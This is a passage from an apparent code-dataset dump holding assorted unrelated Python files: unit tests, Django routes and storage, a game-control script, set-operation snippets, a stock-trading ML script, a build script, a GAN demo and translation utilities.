[1, 0, 0]),\r\n ])\r\n\r\n def test_int_fit_transformr(self):\r\n self.assertEqual(fit_transform([1, 2, 1, 3]), [\r\n (1, [0, 0, 1]),\r\n (2, [0, 1, 0]),\r\n (1, [0, 0, 1]),\r\n (3, [1, 0, 0]),\r\n ])\r\n\r\n def test_error_fit_transformr(self):\r\n with self.assertRaises(TypeError):\r\n fit_transform(1)\r\n\r\n def test_not_include_in_fit_transformr(self):\r\n self.assertNotIn(('1', [0, 0, 1]), fit_transform([1, 2, 1, 3]))\r\n\r\n def test_include_in_fit_transformr(self):\r\n self.assertIn((1, [0, 0, 1]), fit_transform([1, 2, 1, 3]))\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","sub_path":"lab3_test/issue-03/issue_03.py","file_name":"issue_03.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"270449686","text":"from django.urls import path\nfrom .api_views import AdListCreate, AdRetrieveUpdateDestroy, AdCommentListCreate, AdCommentRetrieveUpdateDestroy, AdLike, AdCommentLike\n\n\n# Ads url patterns\nurlpatterns = [\n path('', AdListCreate.as_view()),\n path('', AdRetrieveUpdateDestroy.as_view()),\n path('comments/', AdCommentListCreate.as_view()),\n path('comments/', AdCommentRetrieveUpdateDestroy.as_view()),\n path('like', AdLike.as_view()),\n path('comments/like', AdCommentLike.as_view()),\n]\n","sub_path":"api/src/ads/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"387503680","text":"#!/usr/bin/env python\n# (C) 2017 OpenEye Scientific Software Inc. All rights reserved.\n#\n# TERMS FOR USE OF SAMPLE CODE The software below (\"Sample Code\") is\n# provided to current licensees or subscribers of OpenEye products or\n# SaaS offerings (each a \"Customer\").\n# Customer is hereby permitted to use, copy, and modify the Sample Code,\n# subject to these terms. OpenEye claims no rights to Customer's\n# modifications. Modification of Sample Code is at Customer's sole and\n# exclusive risk. Sample Code may require Customer to have a then\n# current license or subscription to the applicable OpenEye offering.\n# THE SAMPLE CODE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED. OPENEYE DISCLAIMS ALL WARRANTIES, INCLUDING, BUT\n# NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n# PARTICULAR PURPOSE AND NONINFRINGEMENT. In no event shall OpenEye be\n# liable for any damages or liability in connection with the Sample Code\n# or its use.\n\"\"\"\n Test suite for Python Toolkit\n Copyright (C) 1997 - 2015 OpenEye Scientific Software, Inc.\n\"\"\"\n\nfrom __future__ import print_function\nimport os\nimport sys\nimport subprocess\n\n\ndef find_executable(exename):\n if (sys.platform.startswith(\"win\") and\n not exename.endswith(\".exe\") and\n not exename.endswith(\".py\")):\n exename = exename + \".exe\"\n\n prefix = sys.prefix\n\n path = os.path.join(prefix, exename)\n if os.path.exists(path):\n return path\n\n path = os.path.join(prefix, \"bin\", exename)\n if os.path.exists(path):\n return path\n\n path = os.path.join(prefix, \"Scripts\", exename)\n if os.path.exists(path):\n return path\n\n raise ValueError(\"Unable to find '%s' in the '%s' directory\" % (exename, prefix))\n\n\ndef run_test_suite(argv):\n \"\"\"\n Run a small suite of tests to test this installation\n \"\"\"\n\n pipexe = find_executable('pip')\n\n cmd = [pipexe]\n if not sys.platform.startswith(\"win\"):\n cmd = [sys.executable, pipexe]\n\n subprocess.call(cmd + ['install', 'pytest'])\n subprocess.call(cmd + ['install', 'scripttest'])\n\n pytestexe = find_executable('pytest')\n\n cmd = [pytestexe]\n if not sys.platform.startswith(\"win\"):\n cmd = [sys.executable, pytestexe]\n\n subprocess.call(cmd + ['--pyargs', 'openeye.tests', '-q', '-ra'] + argv)\n\n return 0\n\n\nif __name__ == '__main__':\n sys.exit(run_test_suite(sys.argv))\n","sub_path":"venv/Lib/site-packages/openeye/examples/openeye_tests.py","file_name":"openeye_tests.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"396117496","text":"import numpy\nimport numpy as np\nfrom PIL import ImageGrab\nimport cv2\nimport time\nfrom directkeys import PressKey, W, A, D,R,S ,ReleaseKey\nimport mss\nimport mss.tools\nimport carseour\nimport math\n\n\n\n\n\nfrom stopwatch import Stopwatch\n\nstopwatch = Stopwatch()\n\n\n\n\ndef straight():\n PressKey(W)\n ReleaseKey(A)\n ReleaseKey(D)\n\ndef left():\n PressKey(A)\n ReleaseKey(W)\n ReleaseKey(D)\n ReleaseKey(A)\n\ndef right():\n PressKey(D)\n ReleaseKey(A)\n ReleaseKey(W)\n ReleaseKey(D)\n\ndef slow_ya_roll():\n ReleaseKey(W)\n ReleaseKey(A)\n ReleaseKey(D)\n\n\nactions_dict = {0: W, 1: A, 2: D,3:S}\n\n\n\n\n\nimport os\n\n\n\nMAX_SPEED = 220\ncheck =0\n\n\n\n\n\n\n\n\ndef get_screem():\n\n with mss.mss() as sct:\n with mss.mss() as sct:\n # Part of the screen to capture\n monitor = {\"top\": 0, \"left\": 40, \"width\": 800, \"height\": 640}\n\n while \"Screen capturing\":\n last_time = time.time()\n\n # Get raw pixels from the screen, save it to a Numpy array\n img = numpy.array(sct.grab(monitor))\n\n # Display the picture\n cv2.imshow(\"OpenCV/Numpy normal\", img)\n\n\n print(\"fps: {}\".format(1 / (time.time() - last_time)))\n\n # Press \"q\" to quit\n if cv2.waitKey(25) & 0xFF == ord(\"q\"):\n cv2.destroyAllWindows()\n\n break\n\n\n\ndef get_current_state():\n screen = np.array(ImageGrab.grab(bbox=(0, 40, 800, 640)))\n screen_for_cnn_state = cv2.resize(screen, (80, 60))\n\n\n\n game = carseour.snapshot()\n\n # print current speed of vehicle\n\n if game.mCrashState == 1:\n crash = True\n else:\n crash = False\n\n penalty = 0\n\n if game.mSpeed < 1.4:\n stopwatch.start()\n if stopwatch.duration > 10:\n reset_env()\n stopwatch.reset()\n\n\n\n\n\n\n reward_ = reward(log_speed(game.mSpeed*2.24),crash,game.mSpeed*2.24)\n\n current_lap_time = game.mBestLapTime\n\n\n\n\n\n return screen_for_cnn_state, reward_\n\n\ndef reset_env():\n PressKey(R)\n time.sleep(0.5)\n ReleaseKey(R)\n\n\ndef reward( log_speed, crashed,speed):\n\n\n if crashed :\n return -0.8\n elif speed < 4:\n return -0.04\n else:\n return log_speed\n\n\n\ndef log_speed(speed):\n x = (float(speed) / float((MAX_SPEED)) * 100.0) + 0.99\n base = 10\n return max(0.0, math.log(x, base) / 2.0)\n\n\n\n\n\ndef key_function(actions):\n PressKey(W)\n PressKey(A)\n PressKey(D)\n PressKey(S)\n\n\n count =0\n while count<5:\n index = -1\n for x in np.nditer(actions):\n index = index + 1\n if (time.time() > x):\n ReleaseKey(actions_dict[index])\n count = count + 1\n\n\n\n\n\n\n\n\n\n\ndef make_move(action,):\n\n ## need to make move for continous actions\n key_function(action)\n\n new_state, reward = get_current_state()\n return new_state, reward\n\n\ndef start_screen(): ## need this done\n screen = np.array(ImageGrab.grab(bbox=(0, 40, 800, 640)))\n screen_for_cnn_state = cv2.resize(screen, (80, 60))\n return screen_for_cnn_state\n\n\n\n\n\nif __name__ == '__main__':\n get_current_state()\n\n\n","sub_path":"ProjectCars/get_screen.py","file_name":"get_screen.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"16497840","text":"from django.core.files.storage import Storage\nfrom fdfs_client.client import Fdfs_client\nfrom django.conf import settings\n\n\nclass FDFSStorage(Storage):\n \"\"\"FDFS文件存储类\"\"\"\n\n def __init__(self):\n try:\n conf = settings.FDFS_CLIENT_CONF\n except Exception as e:\n conf = './uril/client.conf'\n self.conf = conf\n try:\n fdfsurl = settings.FDFS_URL\n except Exception as e:\n fdfsurl = 'http://192.168.81.129:8888/'\n self.fdfsurl = fdfsurl\n print(self.fdfsurl)\n\n def _open(self, name, mode='rb'):\n \"\"\"打开文件\"\"\"\n pass\n\n def _save(self, name, content):\n \"\"\"保存文件\"\"\"\n\n # 创建一个客服端对象\n use_client = Fdfs_client('./uril/client.conf')\n\n # 上传文件\n res = use_client.upload_by_buffer(content.read())\n\n # return dict\n # {\n # 'Group name': group_name,\n # 'Remote file_id': remote_file_id,\n # 'Status': 'Upload successed.',\n # 'Local file name': local_file_name,\n # 'Uploaded size': upload_size,\n # 'Storage IP': storage_ip\n # }\n #  是否上传成功\n if res.get('Status') != 'Upload successed.':\n raise Exception('文件上传失败')\n\n # 获取返回的文件名\n name = res.get('Local file name')\n\n return name\n\n def exists(self, name):\n \"\"\"重写existe 判断文件名不会重复\"\"\"\n return False\n\n def url(self, name):\n return self.fdfsurl + name\n","sub_path":"utils/fdfs.py","file_name":"fdfs.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"334999779","text":"# Creation.\n\nempty_set = {}\nempty_set = set()\ngeneradet_set = {i for i in range(10)}\nset_from_list = set([1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 5, 6, 6])\n\nodd_numbers = {1, 3, 5, 7, 9}\neven_numbers = {2, 4, 6, 8, 10}\n\nrgb_colors = {\"red\", \"green\", \"blue\"}\nwb_colors = {\"white\", \"black\"}\n\nfruits = {\"banana\", \"apple\", \"pear\"}\nberries = {\"cherry\", \"raspberry\", \"cranberry\"}\n\n\n# Operations.\n2 in even_numbers # True\n2 in odd_numbers # False\n\"red\" not in wb_colors # True\n\nodd_numbers <= even_numbers # False\nodd_numbers < even_numbers # False\n{1, 3, 5} >= odd_numbers # False\n{1, 3, 5, 7, 9} >= odd_numbers # True\n{1, 3, 5, 7, 9} > odd_numbers # False\n{1, 3, 5, 7, 9, 11} > odd_numbers # True\n\ncolors = rgb_colors | wb_colors # {\"red\", \"green\", \"blue\", \"white\", \"black\"}\nrgb_colors & wb_colors # {}\n{\"red\", \"grey\"} & rgb_colors # {\"red\"}\nrgb_colors - wb_colors # {\"blue\", \"green\", \"red\"}\nrgb_colors ^ wb_colors # {'white', 'green', 'blue', 'black', 'red'}\nfruits |= {\"kivi fruit\", \"peach\"} # noqa {\"banana\", \"apple\", \"pear\", \"kivi fruit\", \"peach\"}\nwb_colors &= colors # {\"white\", \"black\"}\ncolors -= wb_colors # {\"red\", \"green\", \"blue\"}\ncolors ^= wb_colors # {\"white\", \"red\", \"balck\", \"green\", \"blue\"}\n\n\n# methods.\neven_copy = even_numbers.copy()\neven_numbers.add(12) # {2, 4, 6, 8, 10, 12}\neven_numbers.remove(12) # {2, 4, 6, 8, 10} Raise KeyError\neven_numbers.discard(2) # {4, 6, 8, 10}\ncolors.clear() # {}\nodd_numbers.pop() # {3, 5, 7, 9}\n\nodd_numbers.update({11, 13, 15}) # {3, 5, 7, 9, 11, 13} equivalent to |=\neven_numbers.intersection_update({2, 4, 6, 8}) # {8, 4, 6} equivalent to &=\neven_numbers.difference_update({2, 4, 6, 8}) # {} equivalent ot -=\nodd_numbers.symmetric_difference_update({1, 3, 5, 7, 9}) # noqa {1, 11, 13 15} equivalent to ^=\nodd_numbers.difference({3, 5, 7, 1}) # {11, 13, 15} equivalent to -\nodd_numbers.intersection({3, 5, 7, 1}) # {1} equivalent to &\nodd_numbers.union(even_numbers) # {1, 4, 6, 8, 11, 13, 15} equivalent to |\nodd_numbers.issubset(even_numbers) # False equivalent to <=\nodd_numbers.issuperset(even_numbers) # False equivalent to >=\nodd_numbers.isdisjoint(even_numbers) # True\n\n\n# Global table prnting.\nimport pprint # noqa\npprint.pprint(globals())\n","sub_path":"Python/snipets/mutable/set.py","file_name":"set.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"463318682","text":"################################################################################\n# Zerynth Shield Sensor Pool\n#\n# Created by Zerynth Team 2015 CC\n# Authors: L. Rizzello, G. Baldi, D. Mazzei\n###############################################################################\n\nimport streams\nfrom zerynthshield import zerynthshield\nfrom smartsensors import sensorPool\n\n# see Pool Example for sensorPool details\n\ndef out_l(obj):\n print(\"light: \",obj.currentSample())\n\ndef out_t(obj):\n print(\"temperature: \",obj.currentSample())\n \nstreams.serial()\nzerynthshield.light.doEverySample(out_l) \n\n# to be noticed the use of a preset normalization function 'zerynthshield.toCelsius'\n# included in the zerynthshield module\nzerynthshield.temperature.setNormFunc(zerynthshield.toCelsius).doEverySample(out_t)\npool = sensorPool.SensorPool([zerynthshield.light,zerynthshield.temperature])\npool.startSampling([1000,1000],[None,None],[\"raw\",\"norm\"])","sub_path":"examples/Zerynth_Shield_Sensor_Pool/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"630334041","text":"import os\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom util import get_data, plot_data\r\nfrom indicators import MACD, RSI,BB\r\nfrom best_possible_strategy import BestPossible\r\nfrom marketsim import compute_portvals,find_leverage\r\nimport datetime as date\r\nimport DecisionTreeClassification as dt\r\nimport math\r\nimport numpy as np\r\n\r\n\r\n\r\n\r\ndef test_run():\r\n #construct indicator and decision\r\n dates = pd.date_range('2008-1-1', '2009-12-31')\r\n syms = ['AAPL']\r\n prices_all = get_data(syms, dates)\r\n prices_port = prices_all[syms] # only price of each stock in portfolio\r\n\r\n bb = BB(prices_port, lookback=20)\r\n bb=bb.fillna(method='bfill')\r\n macd = MACD(prices_port)\r\n rsi = RSI(prices_port, lookback=14)\r\n df = pd.concat([prices_port, bb, macd, rsi], axis=1)\r\n df = df.fillna(method='bfill')\r\n\r\n indicators = pd.DataFrame(columns=['MACD_ZERO', 'MACD_SIGNAL', 'ACROSS_BAND', 'BB_value', 'RSI','Decision'])\r\n\r\n indicators['BB_value'] = (df[syms[0]] - bb['Middle Band']) / (bb['Upper Band'] - bb['Middle Band'])\r\n indicators['MACD_ZERO']=macd['MACD Line']\r\n indicators['MACD_SIGNAL'] = macd['Signal Line']\r\n indicators['ACROSS_BAND'] = bb['Middle Band']\r\n indicators['RSI'] = rsi['RSI']\r\n indicators2 = indicators[['MACD_SIGNAL', 'MACD_ZERO']]\r\n indicators2 = (indicators2 - indicators2.mean(axis=0)) / indicators2.std(axis=0)\r\n indicators2['Color']='k'\r\n # construct indicators\r\n # for (i_row, row), (i_prev, prev) in zip(df.iterrows(), df.shift(1).iterrows()):\r\n # if prev['MACD Line'] >= 0 and row['MACD Line'] < 0: # MACD prev>0,now<0, SELL MACD_ZERO=-1\r\n # indicators.ix[i_row,'MACD_ZERO']=-1\r\n # if prev['MACD Line'] <= 0 and row['MACD Line'] > 0: # MACD prev<0,now>0, BUY MACD_ZERO=1\r\n # indicators.ix[i_row, 'MACD_ZERO'] = 1\r\n # if prev['MACD Line'] >= prev['Signal Line'] and row['MACD Line'] < row['Signal Line']: # MACD prev>Signal Line,now row['Signal Line']: # MACD prevSignal line, BUY MACD_Signal=1\r\n # indicators.ix[i_row, 'MACD_SIGNAL'] = 1\r\n # if prev[syms[0]] <= prev['Lower Band'] and row[syms[0]] > row['Lower Band']: # cross up Lower Band, BUY Acroo_band=1\r\n # indicators.ix[i_row, 'ACROSS_BAND'] = 1\r\n # if prev[syms[0]] >= prev['Upper Band'] and row[syms[0]] < row['Upper Band']: # cross down Upper Band SELL Acroo_band=-1\r\n # indicators.ix[i_row, 'ACROSS_BAND'] = -1\r\n # if row['RSI']>70: #RSI>70 overbought, likely to sell it\r\n # indicators.ix[i_row, 'RSI'] = -1\r\n # if row['RSI'] < 30: #RSI<30, oversold, likely to buy it.\r\n # indicators.ix[i_row, 'RSI'] = 1\r\n # construct decision\r\n\r\n indicators = (indicators - indicators.mean(axis=0)) / indicators.std(axis=0)\r\n\r\n YBUY=0.05\r\n YSELL=-0.05\r\n for (i_row, row), (i_future, future) in zip(df.iterrows(), df.shift(-21).iterrows()):\r\n if (future[syms[0]]/row[syms[0]]-1)> YBUY: # if 21 days return exceed YBUY, then BUY Decision=1\r\n indicators.ix[i_row, 'Decision'] = 1\r\n indicators2.ix[i_row, 'Color'] = 'g'\r\n if (future[syms[0]] / row[syms[0]] - 1) < YSELL: # if 21 days return less than YSELL, then SELL Decision=-1\r\n indicators.ix[i_row, 'Decision'] = -1\r\n indicators2.ix[i_row, 'Color'] = 'r'\r\n\r\n indicators=indicators.fillna(0)\r\n\r\n\r\n #print indicators\r\n file_dir = os.path.join('orders', 'indicators.csv')\r\n file_dir2 = os.path.join('orders', 'Training data.csv')\r\n indicators.to_csv(file_dir, header=False, index=False)\r\n\r\n indicators2.to_csv(file_dir2)\r\n\r\ndef TestLearner():\r\n inf = open('orders/indicators.csv')\r\n data = np.array([map(float, s.strip().split(',')) for s in inf.readlines()])\r\n predY_list = [0] * data.shape[0]\r\n\r\n for i in range(10): # bag 10 times\r\n learner = dt.DTclass(leaf_size=5, verbose=False)\r\n train_rows = int(round(1.0 * data.shape[0]))\r\n test_rows = data.shape[0] - train_rows\r\n Xtrain = data[:train_rows, 0:-1]\r\n Ytrain = data[:train_rows, -1]\r\n Xtest = Xtrain\r\n Ytest = Ytrain\r\n learner.addEvidence(Xtrain, Ytrain) # training step\r\n predY = learner.query(Xtest) # query\r\n predY_list=predY_list+predY\r\n predY=predY_list/10.0\r\n\r\n\r\n\r\n #rmse = math.sqrt(((Ytrain - predY) ** 2).sum() / Ytrain.shape[0])\r\n dates = pd.date_range('2008-1-1', '2009-12-31')\r\n syms = ['AAPL']\r\n prices_all = get_data(syms, dates)\r\n prices_port = prices_all[syms] # only price of each stock in portfolio\r\n prices_port['decision']= predY\r\n #print prices_port\r\n orders = pd.DataFrame(columns=['Date', 'Symbol', 'Order', 'Shares'])\r\n holding = 0 # holding =200 long; holding=-200 short\r\n window = date.datetime(2008, 1, 1) # window should more than 21\r\n for (i_row, row) in prices_port.iterrows():\r\n if row['decision']<0 and (i_row-window).days>21 and holding>-200:\r\n orders.loc[len(orders)] = [i_row, syms[0], 'SELL', str(200 + holding)]\r\n holding -= 200 + holding\r\n window = i_row\r\n plt.axvline(i_row, color='r')\r\n if row['decision']>0 and (i_row-window).days>21 and holding<200:\r\n orders.loc[len(orders)] = [i_row, syms[0], 'BUY', str(200 - holding)] # max buy\r\n holding += 200 - holding\r\n window = i_row\r\n plt.axvline(i_row, color='g')\r\n\r\n file_dir = os.path.join('orders', 'orders_ML.csv')\r\n orders.to_csv(file_dir)\r\n Compare_df = BestPossible()\r\n benchmark = Compare_df['Benchmark']\r\n of_ML = \"./orders/orders_ML.csv\"\r\n of = \"./orders/orders.csv\"\r\n sv = 100000\r\n portvals_RB = compute_portvals(orders_file=of, start_val=sv)\r\n portvals_RB = portvals_RB / portvals_RB.ix[0, :]\r\n benchmark = benchmark / benchmark.ix[0, :]\r\n portvals_ML = compute_portvals(orders_file=of_ML, start_val=sv)\r\n portvals_ML = portvals_ML / portvals_ML.ix[0, :]\r\n # plot_data(plot_df, title=\"Benchmark vs. Rule-based portfolio\", ylabel=\"Normalized price\", xlabel=\"Date\")\r\n prices_port = prices_port / prices_port.ix[0, :]\r\n plt.plot(prices_port.index, portvals_RB, label='Rule-based portfolio', color='b')\r\n plt.plot(prices_port.index, portvals_ML, label='ML-based portfolio', color='g')\r\n #plt.plot(prices_port.index, prices_port, label='APPL', color='m')\r\n plt.plot(benchmark.index, benchmark, label='Benchmark', color='k')\r\n plt.title('Benchmark vs. Rule-based portfolio')\r\n plt.xlabel('Date')\r\n plt.ylabel('Price')\r\n plt.legend(loc='lower right')\r\n plt.show()\r\nif __name__ == \"__main__\":\r\n #test_run()\r\n TestLearner()","sub_path":"m3p3/Code/ML_based.py","file_name":"ML_based.py","file_ext":"py","file_size_in_byte":6870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"84201431","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 16/04/2018 3:03 PM\n# @Author : zixing.deng\n# @Site :\n# @File : compile.py\n# @Software: PyCharm\n\nimport sys\nimport os\nimport commands\n\n\n\n\n\ndef clear():\n os.chdir('/home/roaddb/source/core/algorithm_vehicle_slam/example/debug')\n os.system('rm algoSlamExe')\n os.chdir('/home/roaddb/source/core/algorithm_sam/build/example')\n os.system('rm serverExampleSlam')\n\ndef checkout_branch(branch):\n os.chdir('/home/roaddb/source/')\n for i in range(8):\n os.chdir(path[i])\n #print ('cd '+path[i])\n os.system('git '+'checkout '+branch)\n os.system('git pull')\n os.chdir('/home/roaddb/source/core/vehicle')\n os.system('git '+'checkout '+branch)\n os.system('git pull')\n\ndef compile_code():\n os.chdir('/home/roaddb/source/3rdparty')\n os.system('./build.sh')\n os.chdir('/home/roaddb/source/')\n for i in range(8):\n if i in range(5):\n os.chdir(path[i])\n os.system('./build.sh')\n if i == 5:\n os.chdir(path[i])\n os.system('./build.sh -g')\n if i == 6:\n os.chdir(os.path.join(path[i],'example'))\n os.system('./main.sh -d')\n if i == 7:\n os.chdir('../'+path[i])\n os.system('./build.sh -g')\n\ndef check_results():\n os.chdir('/home/roaddb/source/core/algorithm_vehicle_slam/example/debug')\n slam_exe = os.popen('ls').readlines()\n if 'algoSlamExe\\n' in slam_exe :\n print ('SLAM ojbk')\n else:\n print('SLAM NG')\n os.chdir('/home/roaddb/source/core/algorithm_sam/build/example')\n sam_exe = os.popen('ls').readlines()\n if 'serverExampleSlam\\n' in sam_exe:\n print ('SAM ojbk')\n else:\n print ('SAM NG')\n\n\n\ndef main():\n global path\n path = ['common/','../framework/device/gmock','../roaddb_logger/','../roaddb_video/','../../../core/common','../algorithm_common/','../algorithm_vehicle_slam/','../algorithm_sam/']\n clear()\n checkout_branch(sys.argv[1])\n compile_code()\n check_results()\n\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n","sub_path":"tools/compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"453179918","text":"import torch\nfrom torch import nn, optim, autograd\nimport numpy as np\nimport visdom\nimport random # 注意numpy里也有个random!!!\nfrom matplotlib import pyplot as plt\n\nh_dim = 400\nbatchsz = 512 # 一般是32、64,根据显卡来决定,这里数据量很少,所以就设大一点\n\nviz = visdom.Visdom()\n\n\nclass Generator(nn.Module):\n def __init__(self):\n super(Generator, self).__init__()\n self.net = nn.Sequential(\n # 输入z:[b, 2],如果是图像的话,这个2通常是100\n # 输出[b, 2],这个2是学习的真实分布x的维度;这里用2是方便可视化这个真实的分布\n # [b, 2]->[b, 2]\n nn.Linear(2, h_dim),\n nn.ReLU(inplace=True),\n nn.Linear(h_dim, h_dim),\n nn.ReLU(inplace=True),\n nn.Linear(h_dim, h_dim),\n nn.ReLU(inplace=True),\n nn.Linear(h_dim, 2) # 最后一层线性层没有ReLU函数,因为不需要'单侧抑制'\n )\n\n def forward(self, z):\n output = self.net(z)\n return output\n\n\nclass Discriminator(nn.Module):\n def __init__(self):\n super(Discriminator, self).__init__()\n self.net = nn.Sequential(\n # 输入x:[b, 2]隐藏变量2可以自定义\n # [b, 2]->[b, 1]\n nn.Linear(2, h_dim),\n nn.ReLU(True),\n nn.Linear(h_dim, h_dim),\n nn.ReLU(True),\n nn.Linear(h_dim, h_dim),\n nn.ReLU(True),\n nn.Linear(h_dim, 1), # 输出判断输入为真(1)的‘概率’\n nn.Sigmoid() # 将上述概率值更改到0-1范围内\n )\n\n def forward(self, x):\n output = self.net(x) # x->[b, 1]\n return output.view(-1) # x->[b]\n\n\ndef data_generator():\n # 总体符合由8个高斯分布组合而成的混合分布\n # 先设计分布函数,再从分布中sample出数据集\n scale = 2. # 2.0\n centers = [(0, 1),\n (1, 0),\n (0, -1),\n (-1, 0),\n (1./np.sqrt(2), 1./np.sqrt(2)), # 1./numpy.sqrt(2)->0.7071067811865475\n (1./np.sqrt(2), -1./np.sqrt(2)),\n (-1./np.sqrt(2), -1./np.sqrt(2)),\n (-1./np.sqrt(2), 1./np.sqrt(2))] # 8个高斯分布的中心点\n\n centers = [(scale*x, scale*y) for x, y in centers] # 放大\n\n # while做一个迭代器\n while True:\n dataset=[]\n\n # 生成一个batch_size大小的点集\n for i in range(batchsz):\n point = np.random.randn(2) * 0.02 # randn()从标准正态分布中sample一个值或多个值;point->[0.05056171 0.49995133]\n center = random.choice(centers) # 从centers中随机选取一个中心点,torch的random\n # point~N(0,1)*0.02 -> 给point加一个variance\n point[0] += center[0]\n point[1] += center[1]\n dataset.append(point)\n dataset = np.array(dataset).astype(np.float32) # 从列表创建ndarray;将ndarray中的数据类型转化为float32\n dataset /= 1.414 # 缩小\n yield dataset # 返回值,停下,下次从这里开始调用\n\n\ndef generate_image(D, G, xr, epoch):\n \"\"\"\n Generates and saves a plot of the true distribution, the generator, and the critic.\n \"\"\"\n # 我自己修改部分\n xr = xr.cpu().numpy()\n\n N_POINTS = 128\n RANGE = 3\n plt.clf()\n points = np.zeros((N_POINTS, N_POINTS, 2), dtype='float32')\n points[:, :, 0] = np.linspace(-RANGE, RANGE, N_POINTS)[:, None]\n points[:, :, 1] = np.linspace(-RANGE, RANGE, N_POINTS)[None, :]\n points = points.reshape((-1, 2))\n # (16384, 2)\n # print('p:', points.shape)\n # draw contour\n with torch.no_grad():\n points = torch.Tensor(points).cuda() # [16384, 2]\n disc_map = D(points).cpu().numpy() # [16384]\n x = y = np.linspace(-RANGE, RANGE, N_POINTS)\n cs = plt.contour(x, y, disc_map.reshape((len(x), len(y))).transpose())\n plt.clabel(cs, inline=1, fontsize=10)\n # plt.colorbar()\n # draw samples\n with torch.no_grad():\n z = torch.randn(batchsz, 2).cuda() # [b, 2]\n samples = G(z).cpu().numpy() # [b, 2]\n plt.scatter(xr[:, 0], xr[:, 1], c='orange', marker='.')\n plt.scatter(samples[:, 0], samples[:, 1], c='green', marker='+')\n viz.matplot(plt, win='contour', opts=dict(title='p(x):%d'%epoch))\n\n\ndef main():\n torch.manual_seed(23) # 生成z的时候用到\n np.random.seed(23) # data_generator用到;seed()用于指定随机数生成时所用算法开始的整数值,之后生成的随机数按顺序取值\n\n data_iter = data_generator()\n # x = next(data_iter) # 检查data_generator好使不\n # print(x.shape) # (512, 2)\n\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n G = Generator().to(device)\n D = Discriminator().to(device)\n # print(next(G.parameters()).is_cuda) # True;g.parameters()返回一个迭代器,不能直接输出\n # print(G)\n # print(D)\n\n viz.line([[0, 0]], [0], win='loss', opts=dict(title='loss',legend=['D', 'G']))\n\n optim_G = optim.Adam(G.parameters(), lr=5e-4, betas=(0.5, 0.9)) # 根据经验,betas就这么设置,有经验了再自己改\n optim_D = optim.Adam(D.parameters(), lr=5e-4, betas=(0.5, 0.9))\n\n # 交替train G & D\n for epoch in range(50000):\n # 1.train Discrimator firstly\n # 可以是1次,可以是5次\n for _ in range(5):\n # 1.1train on real data\n xr = next(data_iter) # x->ndarray类型\n xr = torch.from_numpy(xr).to(device) # x->tensor类型\n predr = D(xr) # [b, 2]->[b, 1]\n lossr = -predr.mean() # 不指定参数,计算所有元素的均值\n\n # 1.2train on fake data\n z = torch.randn(batchsz, 2).to(device)\n xf = G(z).detach() # tf.stop_gradient(),相当于关掉水闸,梯度从predf开始往反向算,算到xf停止;因为只需要更新D,算D的梯度就可以了\n predf = D(xf)\n lossf = predf.mean()\n\n loss_D = lossr+lossf\n\n # optimizer\n optim_D.zero_grad() # D网路的梯度清零\n loss_D.backward() # 向后传播,计算D网络的梯度,注意,G的闸门关了哦\n optim_D.step() # 更新D的参数\n\n # 2.train Generator\n z = torch.randn(batchsz, 2).to(device)\n xf = G(z)\n predf = D(xf) # 不能加detach,D的梯度算就算了,不更新就好,就是因为这一步产生了D的梯度信息,所以上面D更新参数时,一定要清零,不然会累加\n loss_G = -predf.mean()\n\n optim_G.zero_grad()\n loss_G.backward()\n optim_G.step()\n\n if epoch % 100 == 0:\n viz.line([[loss_D.item(), loss_G.item()]], [epoch], win='loss', update='append')\n\n print(loss_D.item(), loss_G.item()) # Returns the value of this tensor as a standard Python number. This only works for tensors with one element.\n\n generate_image(D, G, xr, epoch)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"GAN.py","file_name":"GAN.py","file_ext":"py","file_size_in_byte":7088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"619913498","text":"import math\nfrom typing import List, Tuple, Dict, Set, Union\nfrom tqdm import tqdm\nfrom nltk.translate.bleu_score import corpus_bleu, sentence_bleu, SmoothingFunction\nimport numpy as np\nimport math\nimport pickle\nimport sys\nimport time\nfrom collections import namedtuple\n\nfrom vocab import Vocab, VocabEntry\n\ndef input_transpose(sents, pad_token):\n \"\"\"\n This function transforms a list of sentences of shape (batch_size, token_num) into \n a list of shape (token_num, batch_size). You may find this function useful if you\n use pytorch\n \"\"\"\n max_len = max(len(s) for s in sents)\n batch_size = len(sents)\n\n sents_t = []\n for i in range(max_len):\n sents_t.append([sents[k][i] if len(sents[k]) > i else pad_token for k in range(batch_size)])\n\n return sents_t\n\n\ndef read_corpus(file_path, source):\n data = []\n for line in open(file_path):\n sent = line.strip().split(' ')\n # only append and to the target sentence\n # if source == 'tgt':\n # sent = [''] + sent + ['']\n data.append(sent)\n return data\n\n\ndef batch_iter(data, batch_size, shuffle=False):\n \"\"\"\n Given a list of examples, shuffle and slice them into mini-batches\n \"\"\"\n 